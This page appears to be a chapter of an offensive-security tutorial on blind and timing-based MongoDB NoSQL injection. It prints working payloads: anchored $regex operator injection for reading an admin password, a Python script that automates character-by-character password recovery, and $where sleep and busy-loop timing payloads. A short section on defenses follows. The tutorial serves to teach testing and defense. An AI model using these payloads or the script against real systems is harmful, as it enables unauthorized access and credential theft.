NoSQL Injection: The Complete Practical Guide to MongoDB Injection

Blind and Timing NoSQL Injection

Extract data with no reflected output: anchored $regex as a boolean oracle, character-by-character recovery, and $where sleep timing when nothing differs.

Published

Most real NoSQL injection is blind. The app runs your injected query but reflects nothing useful, so an always-true operator logs you in yet tells you nothing about a value you want to read. Blind extraction solves this by asking the database a stream of yes-or-no questions and reading the answers from any signal that changes. This page covers the boolean regex oracle, character-by-character recovery, and the timing fallback for when nothing visible changes at all. Practice on a free live target.

Step 1: pick an oracle

An oracle is any observable difference between a true and a false condition. Ranked from best to worst:

  • A content or status change. A login that says "welcome" versus "invalid," a page that shows a record versus an empty state, a redirect versus a reload.
  • A result count or length. The number of items returned, or the raw response size, even when the rendered page looks similar.
  • Response time. When nothing in the content differs, a deliberate delay on a true condition becomes your only signal. That is the timing technique below.

Find the clearest oracle first. The stronger the signal, the faster and more reliable the extraction.

Step 2: the anchored regex oracle

The core trick is a $regex anchored with ^, which tests whether a value starts with a given prefix. Pin the record you are reading by a known field, then probe the secret field one prefix at a time. To read the admin password:

{ "username": "admin", "password": { "$regex": "^a" } }

If the oracle fires, the password starts with a. If not, try ^b, ^c, and so on. In bracket-notation form for a non-JSON endpoint:

username=admin&password[$regex]=^a

Each request answers one yes-or-no question: does the value start with this prefix? That is all you need.

Step 3: extend the prefix, one character at a time

When a character matches, append the next and keep going:

{ "username": "admin", "password": { "$regex": "^s" } }
{ "username": "admin", "password": { "$regex": "^se" } }
{ "username": "admin", "password": { "$regex": "^sec" } }

Each confirmed prefix adds one character. Walk it to the end and you have reconstructed the whole value from nothing but a yes-or-no response. Anchor the end with $ to confirm you have the complete string rather than a prefix of a longer one.

Mind the regex metacharacters. If a candidate character is a regex special like . or *, escape it in the pattern so it matches literally, otherwise the oracle lies.

Automating the walk

This is a mechanical loop, so script it. The shape in Python:

import requests, string
 
charset = string.ascii_letters + string.digits + "_-!@#$"
known = ""
while True:
    for c in charset:
        esc = "".join("\\" + ch if ch in ".^$*+?()[]{}|\\" else ch for ch in known + c)
        r = requests.post(URL, json={"username": "admin",
                                     "password": {"$regex": "^" + esc}})
        if "welcome" in r.text:        # your oracle
            known += c
            break
    else:
        break   # no character matched, value is complete
print("recovered:", known)

Swap the oracle check for whatever your target exposes: a status code, a redirect, a result count, or a length threshold.

The timing fallback

When the response is byte-for-byte identical whether the condition is true or false, you have no visible oracle. If server-side JavaScript through $where is reachable, you can manufacture one with a delay. Some MongoDB builds expose a sleep() helper inside the $where context, so a true condition can be made to pause:

{ "$where": "this.username == 'admin' && this.password.match(/^s/) && sleep(5000)" }

If the response takes about five seconds, the admin password starts with s. If it returns immediately, it does not. Be aware that sleep() is documented as a shell helper, not a guaranteed $where function, so its availability is version and engine dependent. The portable primitive that relies on no helper is a busy loop on the clock, which is the original form of this technique:

{ "$where": "var d=new Date(); var c=null; do { c=new Date(); } while (c-d < 5000); true" }

Gate the delay behind the character test exactly as with sleep(), so the loop only burns time when the guess is right. A standalone confirmation that injection into $where works at all:

{ "$where": "sleep(5000) || true" }

Treat timing as a last resort. It is slower, noisier, and sensitive to network jitter, so repeat each measurement and compare against a known-false baseline. It also depends on server-side JavaScript being enabled, which recent MongoDB restricts and many deployments disable. The mechanics of $where and its honest impact are in where injection.

Choosing the right oracle under pressure

If several signals exist, prefer the one with the biggest, most stable gap. A clear content change beats a subtle length difference, and either beats timing. Keep a known-true and known-false request on hand so you can re-baseline if the app's behaviour shifts mid-extraction, for example after a rate limiter kicks in.

Fixing it

Blind extraction needs the operator injection to exist in the first place, so the defenses are the same:

  • Type-validate inputs so a field cannot arrive as an operator or a regex object.
  • Disable server-side JavaScript so the timing fallback has nothing to run.
  • Rate-limit and alert on the repetitive, high-volume request pattern that character-by-character extraction produces.

Full guidance is in preventing NoSQL injection. Next, go deep on the JavaScript surface in where injection, or extract a value for real on a free target.

← Back to NoSQL Injection: The Complete Practical Guide to MongoDB Injection